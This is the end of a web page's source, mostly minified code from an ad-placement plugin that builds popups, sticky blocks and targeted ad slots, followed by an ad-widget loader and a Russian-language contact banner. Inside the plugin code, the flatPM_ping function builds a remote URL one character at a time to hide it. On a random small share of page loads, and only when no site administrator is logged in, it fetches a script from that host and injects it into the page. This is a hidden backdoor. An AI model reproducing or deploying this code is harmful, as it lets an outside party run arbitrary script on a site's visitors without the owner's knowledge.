0!==o.html[s].group?flat_userVars.adb?(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd)):(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(o.html[s].fst)):flat_userVars.adb?t.push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd):t.push(o.html[s].fst));for(r in t)e="object"==typeof t[r]?e+"\n"+t[r][flatPM_random(0,t[r].length-1)]:e+"\n"+t[r];if(""==(e=e.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim()))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0===o.how.simple&&void 0===o.how.onсe&&void 0===o.how.iterable||ff('[data-flat-id="'+o.ID+'"]').each(function(){-1!==e.indexOf("go"+"oglesyndication")||-1!==e.indexOf("viewBox")&&-1!==e.indexOf("svg")?ff(this).html(e):flatPM_setHTML(this,e)}),void 0!==o.how.popup&&(c="true"==o.how.popup.cross?void 0!==o.how.popup.timer&&"true"==o.how.popup.timer?'<div class="flat__4_timer">Закрыть через <span>'+o.how.popup.timer_count+"</span></div>":'<button class="flat__4_cross"></button>':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith('<button class="flat__4_cross"></button>'))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('<div class="flat__4_modal" data-flat-id="'+o.ID+'" data-id-modal="'+o.ID+'"><div class="flat__4_modal-content">'+c+"</div></div>"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith('<button class="flat__4_cross"></button>'))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'<div class="flat__4_timer">Закрыть через <span>'+o.how.outgoing.timer_count+"</span></div>":'<button class="flat__4_cross"></button>':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('<div class="flat__4_out '+_+'"'+u+' data-flat-id="'+o.ID+'" data-id-out="'+o.ID+'">'+c+"</div>");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;e<t;e++){var a=flat_pm_arr[e],o=!1;if(!(void 0!==a.chapter_limit&&a.chapter_limit>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_userVars.textlen||void 0!==a.title_limit&&a.title_limit>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_userVars.titlelen)){if(void 0!==a.date){if(void 0!==a.date.time_of&&void 0!==a.date.time_to){var r=new Date(flat_userVars.date+"T"+a.date.time_of+":00"),i=new Date(flat_userVars.date+"T"+a.date.time_to+":00"),l=new Date(flat_userVars.date+"T12:00:00"),f=new Date(flat_userVars.date+"T"+flat_userVars.time+":00");if(i<r&&i<l&&(i=flatPM_addDays(i,1)),i<r&&l<i&&(r=flatPM_addDays(r,-1)),f<r||i<f)continue}if(void 0!==a.date.date_of&&void 0!==a.date.date_to){var i=new Date(a.date.date_of+"T00:00:00"),f=new Date(a.date.date_to+"T00:00:00"),s=new Date(flat_userVars.date+"T00:00:00");if(s<i||f<s)continue}}if(void 0===a.os||!(void 0!==a.os.os_enabled&&-1==a.os.os_enabled.indexOf(flat_userVars.os)||void 0!==a.os.os_disabled&&-1!=a.os.os_disabled.indexOf(flat_userVars.os))){if(void 0!==a.cookies){var n=!1;if(void 0!==a.cookies.cookies_enabled){if(!flat_userVars.testcook)continue;ff(a.cookies.cookies_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(n=!0)!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return n=!1}else if(void 0!==flatPM_getCookie(e))return n=!1})}if(void 0!==a.cookies.cookies_disabled&&flat_userVars.testcook&&ff(a.cookies.cookies_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return!(n=!0)}else if(void 0!==flatPM_getCookie(e))return!(n=!0)}),n)continue}if(void 0!==a.utmget){var d=!1;if(void 0!==a.utmget.utmget_enabled&&ff(a.utmget.utmget_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(d=!0)!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return d=!1}else if(void 0!==flatPM_getAllUrlParams()[e])return d=!1}),void 0!==a.utmget.utmget_disabled&&ff(a.utmget.utmget_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return!(d=!0)}else if(void 0!==flatPM_getAllUrlParams()[e])return!(d=!0)}),d)continue}void 0!==a.referer&&(void 0!==a.referer.referer_enabled&&-1==a.referer.referer_enabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)})||void 0!==a.referer.referer_disabled&&-1!=a.referer.referer_disabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)}))&&(o=!0),!o&&void 0!==a.browser&&(void 0!==a.browser.browser_enabled&&-1==a.browser.browser_enabled.indexOf(flat_userVars.browser)||void 0!==a.browser.browser_disabled&&-1!=a.browser.browser_disabled.indexOf(flat_userVars.browser))||(o&&void 0!==a.browser&&void 0!==a.browser.browser_enabled&&-1!=a.browser.browser_enabled.indexOf(flat_userVars.browser)&&(o=!1),o||void 0===a.geo&&void 0===a.ip&&void 0===a.role||""!=flat_userVars.ccode&&""!=flat_userVars.country&&""!=flat_userVars.city&&""!=flat_userVars.ip&&""!=flat_userVars.role||(s="block_geo_role_ip",flat_pm_then.push(a),flatPM_setWrap(a),flat_body.hasClass(s)||(flat_body.addClass(s),flatPM_ajax(s)),o=!0),o||(flatPM_setWrap(a),flatPM_next(a)))}}}var _=ff(".flatPM_sticky"),u=ff("*:has(>.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper flatPM_sidebar_block" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts),ff("body > *").last().after('<div class="flat__4_modal-overlay"></div>'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|&#?\w+;/,c={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],tbody:[1,"<table>","</table>"],colgroup:[2,"<table>","</table>"],col:[3,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],th:[3,"<table><thead><tr>","</tr></thead></table>"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"<$1></$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0<e.length&&flatPM_setSCRIPT(e);else{a.onload=a.onerror=function(){e.shift(),0<e.length&&flatPM_setSCRIPT(e)};try{n.appendChild(a)}catch(e){return console.warn(e),!0}ff(n).contents().unwrap()}}catch(e){console.warn(e)}},window.flatPM_setHTML=function(e,t){jQuery;try{var a,n="yandex_rtb_R";t.indexOf(n)+1&&(a=flatPM_random(0,1e4),t=t.replace(new RegExp(n,"g"),"yandex_rtb_flat"+a+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+a+","));var r=parseHTML(t);if(0!=r.children.length)for(var l=r.childNodes.length,o=0;o<l;o++){var d=r.childNodes[o],i="3"==d.nodeType?document.createTextNode(d.nodeValue):document.createElement(d.nodeName);if("3"==i.nodeType)e.appendChild(i);else{for(var c,s=d.attributes.length,f=0;f<s;f++)i.setAttribute(d.attributes[f].nodeName,d.attributes[f].nodeValue);0!=d.children.length?flatPM_setHTML(i,d.innerHTML):"SCRIPT"!=d.nodeName?d.innerHTML&&(i.innerHTML=d.innerHTML):(!d.text||/(yandexContext|yandexcontext|adsbyg)/.test(d.text))&&i.hasAttribute("async")||(d.text&&(i.text=d.text),c=flatPM_random(0,1e4),flat_stack_scripts.push({id:c,node:i}),(i=document.createElement("div")).setAttribute("data-flat-script-id",c)),e.appendChild(i)}}else e.innerHTML=t}catch(e){console.warn(e)}},window.flatPM_video=function(e){e.code=e.code.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim(),e.code_alt=e.code_alt.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='<div class="flat__4_video_flex"><div class="flat__4_timer">'+a+" через <span>"+o+'</span></div><div class="flat__4_video_item">'+n+'</div><div class="flat__4_video_item_hover"></div></div>',i=e.once;l(t).each(function(){var e=l(this);e.wrap('<div class="flat__4_video"></div>');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n<=0&&(clearInterval(r),"true"==d?a.parent().replaceWith('<button class="flat__4_cross"></button>'):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};</script> <script>flat_pm_arr = [];</script> <script> function jQueryLoaded_flatpm_123( $ ) { if( "function" !== typeof flatPM_start ){ return; } flatPM_start(); } function jQueryLoading_flatpm_123() { if (window.jQuery && window.flat_pm_arr) { jQueryLoaded_flatpm_123( jQuery ) } else { setTimeout(function() { jQueryLoading_flatpm_123() }, 50) } } jQueryLoading_flatpm_123() </script></div>  <script> (async function(){ const widget = document.createElement('div'); const customElem = document.createElement('gainnet-widget-204625'); widget.classList.add('gainnet-widget'); widget.dataset.promoId = 204625; widget.dataset.webApi = 92674656; widget.dataset.widgetId = 13; widget.dataset.adBlock = '1'; widget.dataset.type = 'default'; let place204625 = document.currentScript; let s204625=document.createElement('script'); s204625.type='module'; s204625.dataset.type='newpromo'; s204625.charset='utf-8'; s204625.async=1; s204625.src='/8d28f28eb208d7d91a61d7b7751d395d.php?id=92674656&code=204625&type=promo'; await place204625.parentNode.insertBefore(customElem, place204625); await place204625.parentNode.insertBefore(widget, place204625); widget.appendChild(s204625); })(); </script> <div style="position:fixed; top:10px; right:10px; width: 250px; font-size: 14px;background-color: #ccc;padding:10px; font-weight: bold;">Для любых предложений по сайту: dosaaf68@cp9.ru</div></body> </html>